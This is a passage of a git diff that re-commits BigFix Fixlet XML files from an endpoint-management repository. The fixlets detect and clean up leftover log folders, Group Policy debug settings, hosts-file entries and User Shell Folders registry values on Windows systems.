-rmdir /s /q &quot;{pathname of folder &quot;logs&quot; of drive of system folder}&quot;
-
-_end_
-
-move __createfile run.bat
-
-waithidden run.bat</ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Warning - Files exist in Logs folder of System Drive - Windows
+  ID       : 21633
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-09-14T21:23:23
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Warning - Files exist in Logs folder of System Drive - Windows</Title>
+    <Description><![CDATA[<P>This will delete any files in the SystemDrive:\Logs folder.</P>
+<P>SystemDrive:\Logs is typically used by Intel installers and various programs. If there is ever a log that is not safe to delete shame on whomever put it here.</P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists folder &quot;logs&quot; of drive of system folder</Relevance>
+    <Category>Disk Cleanup</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-08-25</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">delete __createfile
+delete run.bat
+
+createfile until _end_
+
+rmdir /s /q &quot;{pathname of folder &quot;logs&quot; of drive of system folder}&quot;
+
+_end_
+
+move __createfile run.bat
+
+waithidden run.bat</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Warning - Files exist in adobeTemp folder of System Drive - Windows (21634).bes b/Sites/Windows Management/Fixlets/Fixlets/Warning - Files exist in adobeTemp folder of System Drive - Windows (21634).bes
index 315dc7ea0..9858a5f4e 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Warning - Files exist in adobeTemp folder of System Drive - Windows (21634).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Warning - Files exist in adobeTemp folder of System Drive - Windows (21634).bes	
@@ -1,48 +1,48 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Warning - Files exist in adobeTemp folder of System Drive - Windows
-  ID       : 21634
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2016-09-14T21:23:28
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Warning - Files exist in adobeTemp folder of System Drive - Windows</Title>
-    <Description><![CDATA[<P>This will delete any files in the SystemDrive:\adobeTemp folder.</P>
-<P>SystemDrive:\adobeTemp is typically used by adobe&nbsp;installers. If there is ever a file that is not safe to delete shame on whomever put it here.</P>
-<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>exists folder &quot;adobeTemp&quot; of drive of system folder</Relevance>
-    <Category>Disk Cleanup</Category>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-08-25</SourceReleaseDate>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">delete __createfile
-delete run.bat
-
-createfile until _end_
-
-rmdir /s /q &quot;{pathname of folder &quot;adobeTEmp&quot; of drive of system folder}&quot;
-
-_end_
-
-move __createfile run.bat
-
-waithidden run.bat</ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Warning - Files exist in adobeTemp folder of System Drive - Windows
+  ID       : 21634
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-09-14T21:23:28
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Warning - Files exist in adobeTemp folder of System Drive - Windows</Title>
+    <Description><![CDATA[<P>This will delete any files in the SystemDrive:\adobeTemp folder.</P>
+<P>SystemDrive:\adobeTemp is typically used by adobe&nbsp;installers. If there is ever a file that is not safe to delete shame on whomever put it here.</P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists folder &quot;adobeTemp&quot; of drive of system folder</Relevance>
+    <Category>Disk Cleanup</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-08-25</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">delete __createfile
+delete run.bat
+
+createfile until _end_
+
+rmdir /s /q &quot;{pathname of folder &quot;adobeTEmp&quot; of drive of system folder}&quot;
+
+_end_
+
+move __createfile run.bat
+
+waithidden run.bat</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Warning - Folder _Program_ exists in Root of System Drive - Windows (21635).bes b/Sites/Windows Management/Fixlets/Fixlets/Warning - Folder _Program_ exists in Root of System Drive - Windows (21635).bes
index da239d599..e949ffd6c 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Warning - Folder _Program_ exists in Root of System Drive - Windows (21635).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Warning - Folder _Program_ exists in Root of System Drive - Windows (21635).bes	
@@ -1,50 +1,50 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Warning - Folder "Program" exists in Root of System Drive - Windows
-  ID       : 21635
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2016-09-14T21:23:34
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Warning - Folder &quot;Program&quot; exists in Root of System Drive - Windows</Title>
-    <Description><![CDATA[<P>If there exists a folder called, "Progam" exists in the root of the system drive. Users logging in will receive an error.</P>
-<P>This Fixlet removes the folder. This fixlet will fail if the folder is not empty.</P>
-<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>exists folder &quot;Program&quot; of drive of system folder</Relevance>
-    <Category>Disk Cleanup</Category>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-08-25</SourceReleaseDate>
-    <SourceSeverity>Critical</SourceSeverity>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to remove this folder if it is empty.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here
-
-folder delete &quot;{pathname of folder &quot;Program&quot; of drive of system folder}&quot;</ActionScript>
-    </DefaultAction>
-    <Action ID="Action22545">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to remove this folder regardless of if it is empty.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here
-
-waithidden cmd.exe /c rmdir /s /q &quot;{pathname of folder &quot;Program&quot; of drive of system folder}&quot;</ActionScript>
-    </Action>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Warning - Folder "Program" exists in Root of System Drive - Windows
+  ID       : 21635
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-09-14T21:23:34
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Warning - Folder &quot;Program&quot; exists in Root of System Drive - Windows</Title>
+    <Description><![CDATA[<P>If there exists a folder called, "Progam" exists in the root of the system drive. Users logging in will receive an error.</P>
+<P>This Fixlet removes the folder. This fixlet will fail if the folder is not empty.</P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists folder &quot;Program&quot; of drive of system folder</Relevance>
+    <Category>Disk Cleanup</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-08-25</SourceReleaseDate>
+    <SourceSeverity>Critical</SourceSeverity>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to remove this folder if it is empty.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here
+
+folder delete &quot;{pathname of folder &quot;Program&quot; of drive of system folder}&quot;</ActionScript>
+    </DefaultAction>
+    <Action ID="Action22545">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to remove this folder regardless of if it is empty.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here
+
+waithidden cmd.exe /c rmdir /s /q &quot;{pathname of folder &quot;Program&quot; of drive of system folder}&quot;</ActionScript>
+    </Action>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Warning - Group Policy Preferences debug logging may be enabled - Windows (21636).bes b/Sites/Windows Management/Fixlets/Fixlets/Warning - Group Policy Preferences debug logging may be enabled - Windows (21636).bes
index b561e539a..654069118 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Warning - Group Policy Preferences debug logging may be enabled - Windows (21636).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Warning - Group Policy Preferences debug logging may be enabled - Windows (21636).bes	
@@ -1,29 +1,29 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Warning - Group Policy Preferences debug logging may be enabled - Windows
-  ID       : 21636
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2016-09-14T21:23:40
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Warning - Group Policy Preferences debug logging may be enabled - Windows</Title>
-    <Description><![CDATA[<P>This fixlet is relevant if tracing is enabled for one or more Group Policy Preferences Extensions.</P>
-<P>Tracing creates detailed log files on the system and may reduce performance of the Group Policy client. This could impact start-up and login time.</P>
-<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>exists keys whose (value &quot;LogLevel&quot; of it as string != &quot;0&quot;) of key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Group Policy&quot; of native registry</Relevance>
-    <Category>Group Policy</Category>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-04-23</SourceReleaseDate>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Warning - Group Policy Preferences debug logging may be enabled - Windows
+  ID       : 21636
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-09-14T21:23:40
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Warning - Group Policy Preferences debug logging may be enabled - Windows</Title>
+    <Description><![CDATA[<P>This fixlet is relevant if tracing is enabled for one or more Group Policy Preferences Extensions.</P>
+<P>Tracing creates detailed log files on the system and may reduce performance of the Group Policy client. This could impact start-up and login time.</P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists keys whose (value &quot;LogLevel&quot; of it as string != &quot;0&quot;) of key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Group Policy&quot; of native registry</Relevance>
+    <Category>Group Policy</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-04-23</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Warning - Group Policy Preferences debug tracing may be enabled - Windows (21637).bes b/Sites/Windows Management/Fixlets/Fixlets/Warning - Group Policy Preferences debug tracing may be enabled - Windows (21637).bes
index 0131c7554..5899288fa 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Warning - Group Policy Preferences debug tracing may be enabled - Windows (21637).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Warning - Group Policy Preferences debug tracing may be enabled - Windows (21637).bes	
@@ -1,29 +1,29 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Warning - Group Policy Preferences debug tracing may be enabled - Windows
-  ID       : 21637
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2016-09-14T21:23:45
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Warning - Group Policy Preferences debug tracing may be enabled - Windows</Title>
-    <Description><![CDATA[<P>This fixlet is relevant if tracing is enabled for one or more Group Policy Preferences Extensions.</P>
-<P>Tracing creates detailed log files on the system and may reduce performance of the Group Policy client. This could impact start-up and login times.</P>
-<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>exists keys whose (value &quot;TraceLevel&quot; of it as string != &quot;0&quot;) of key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Group Policy&quot; of native registry</Relevance>
-    <Category>Group Policy</Category>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-04-23</SourceReleaseDate>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Warning - Group Policy Preferences debug tracing may be enabled - Windows
+  ID       : 21637
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-09-14T21:23:45
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Warning - Group Policy Preferences debug tracing may be enabled - Windows</Title>
+    <Description><![CDATA[<P>This fixlet is relevant if tracing is enabled for one or more Group Policy Preferences Extensions.</P>
+<P>Tracing creates detailed log files on the system and may reduce performance of the Group Policy client. This could impact start-up and login times.</P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists keys whose (value &quot;TraceLevel&quot; of it as string != &quot;0&quot;) of key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Group Policy&quot; of native registry</Relevance>
+    <Category>Group Policy</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-04-23</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Warning - Group Policy Service debug logging may be enabled - Windows (21638).bes b/Sites/Windows Management/Fixlets/Fixlets/Warning - Group Policy Service debug logging may be enabled - Windows (21638).bes
index c6844d964..eec90b020 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Warning - Group Policy Service debug logging may be enabled - Windows (21638).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Warning - Group Policy Service debug logging may be enabled - Windows (21638).bes	
@@ -1,28 +1,28 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Warning - Group Policy Service debug logging may be enabled - Windows
-  ID       : 21638
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2016-09-14T21:23:50
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Warning - Group Policy Service debug logging may be enabled - Windows</Title>
-    <Description><![CDATA[<P>This fixlet evaluates to true if Group Policy debug logging is enabled on the target system. </P>
-<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>exists value &quot;GPSvcDebugLevel&quot; of key &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion&quot; of native registry</Relevance>
-    <Category>Group Policy</Category>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-04-23</SourceReleaseDate>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Warning - Group Policy Service debug logging may be enabled - Windows
+  ID       : 21638
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-09-14T21:23:50
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Warning - Group Policy Service debug logging may be enabled - Windows</Title>
+    <Description><![CDATA[<P>This fixlet evaluates to true if Group Policy debug logging is enabled on the target system. </P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists value &quot;GPSvcDebugLevel&quot; of key &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion&quot; of native registry</Relevance>
+    <Category>Group Policy</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-04-23</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Warning - Hosts files contains manually defined hosts - Win_Mac (20536).bes b/Sites/Windows Management/Fixlets/Fixlets/Warning - Hosts files contains manually defined hosts - Win_Mac (20536).bes
index c695dbdff..01b2b5422 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Warning - Hosts files contains manually defined hosts - Win_Mac (20536).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Warning - Hosts files contains manually defined hosts - Win_Mac (20536).bes	
@@ -1,27 +1,27 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Warning - Hosts files contains manually defined hosts - Win\Mac
-  ID       : 20536
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2016-05-10T07:14:05
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Warning - Hosts files contains manually defined hosts - Win\Mac</Title>
-    <Description><![CDATA[<P>This fixlet is relevant if there are manually defined hosts in the system's hosts file.</P>
-<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
-    <Relevance>windows of operating system or mac of operating system</Relevance>
-    <Relevance><![CDATA[number of lines whose (it as trimmed string does not equal "" and it does not start with "#" and it does not start with "127.0.0.1" and it does not start with "255.255.255.255" and it does not start with "::1" and it does not start with "fe80::1") of file "hosts" of (if windows of operating system then folder "drivers\etc" of (if (x64 of operating system ) then (system x64 folder) else (system x32 folder)) else (if mac of operating system then folder "/private/etc" else folder "/etc")) > 0]]></Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-04-23</SourceReleaseDate>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Warning - Hosts files contains manually defined hosts - Win\Mac
+  ID       : 20536
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-05-10T07:14:05
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Warning - Hosts files contains manually defined hosts - Win\Mac</Title>
+    <Description><![CDATA[<P>This fixlet is relevant if there are manually defined hosts in the system's hosts file.</P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system or mac of operating system</Relevance>
+    <Relevance><![CDATA[number of lines whose (it as trimmed string does not equal "" and it does not start with "#" and it does not start with "127.0.0.1" and it does not start with "255.255.255.255" and it does not start with "::1" and it does not start with "fe80::1") of file "hosts" of (if windows of operating system then folder "drivers\etc" of (if (x64 of operating system ) then (system x64 folder) else (system x32 folder)) else (if mac of operating system then folder "/private/etc" else folder "/etc")) > 0]]></Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-04-23</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Warning - Incorrect User Shell Folders values may cause Installer errors - Windows (21687).bes b/Sites/Windows Management/Fixlets/Fixlets/Warning - Incorrect User Shell Folders values may cause Installer errors - Windows (21687).bes
index 430d3a9e1..cbb806f8a 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Warning - Incorrect User Shell Folders values may cause Installer errors - Windows (21687).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Warning - Incorrect User Shell Folders values may cause Installer errors - Windows (21687).bes	
@@ -1,124 +1,124 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Warning - Incorrect User Shell Folders values may cause Installer errors - Windows
-  ID       : 21687
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2016-09-21T13:25:32
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Warning - Incorrect User Shell Folders values may cause Installer errors - Windows</Title>
-    <Description><![CDATA[<P>This fixlet detects and remediates the issue outlined in this Microsoft KB Article: <A href="https://support.microsoft.com/en-us/kb/886549">https://support.microsoft.com/en-us/kb/886549</A></P>
-<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
-    <Relevance><![CDATA[windows of operating system and version of operating system > "6.0"]]></Relevance>
-    <Relevance>(value &quot;{374DE290-123F-4565-9164-39C4925E467B}&quot; of it as string != &quot;%25USERPROFILE%25\Downloads%00&quot; or value &quot;AppData&quot; of it as string != &quot;%25USERPROFILE%25\AppData\Roaming%00&quot; or value &quot;Desktop&quot; of it as string != &quot;%25USERPROFILE%25\Desktop%00&quot; or value &quot;Favorites&quot; of it as string != &quot;%25USERPROFILE%25\Favorites%00&quot; or value &quot;History&quot; of it as string != &quot;%25USERPROFILE%25\AppData\Local\Microsoft\Windows\History%00&quot; or value &quot;Local AppData&quot; of it as string != &quot;%25USERPROFILE%25\AppData\Local%00&quot; or value &quot;My Music&quot; of it as string != &quot;%25USERPROFILE%25\Music%00&quot; or value &quot;My Pictures&quot; of it as string != &quot;%25USERPROFILE%25\Pictures%00&quot; or value &quot;My Video&quot; of it as string != &quot;%25USERPROFILE%25\Videos%00&quot; or value &quot;NetHood&quot; of it as string != &quot;%25USERPROFILE%25\AppData\Roaming\Microsoft\Windows\Network Shortcuts%00&quot; or value &quot;Personal&quot; of it as string != &quot;%25USERPROFILE%25\Documents%00&quot; or value &quot;PrintHood&quot; of it as string != &quot;%25USERPROFILE%25\AppData\Roaming\Microsoft\Windows\Printer Shortcuts%00&quot; or value &quot;Programs&quot; of it as string != &quot;%25USERPROFILE%25\AppData\Roaming\Microsoft\Windows\Start Menu\Programs%00&quot; or value &quot;Recent&quot; of it as string != &quot;%25USERPROFILE%25\AppData\Roaming\Microsoft\Windows\Recent%00&quot; or value &quot;SendTo&quot; of it as string != &quot;%25USERPROFILE%25\AppData\Roaming\Microsoft\Windows\SendTo%00&quot; or value &quot;Start Menu&quot; of it as string != &quot;%25USERPROFILE%25\AppData\Roaming\Microsoft\Windows\Start Menu%00&quot; or value &quot;Startup&quot; of it as string != &quot;%25USERPROFILE%25\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup%00&quot; or value &quot;Templates&quot; of it as string != &quot;%25USERPROFILE%25\AppData\Roaming\Microsoft\Windows\Templates%00&quot;) of key &quot;HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders&quot; of native registry</Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-09-21</SourceReleaseDate>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here
-
-delete __createfile
-delete import.reg
-
-createfile until _end_
-Windows Registry Editor Version 5.00
-
-[HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders]
-&quot;AppData&quot;=hex(2):25,00,55,00,53,00,45,00,52,00,50,00,52,00,4f,00,46,00,49,00,\
-  4c,00,45,00,25,00,5c,00,41,00,70,00,70,00,44,00,61,00,74,00,61,00,5c,00,52,\
-  00,6f,00,61,00,6d,00,69,00,6e,00,67,00,00,00
-&quot;Desktop&quot;=hex(2):25,00,55,00,53,00,45,00,52,00,50,00,52,00,4f,00,46,00,49,00,\
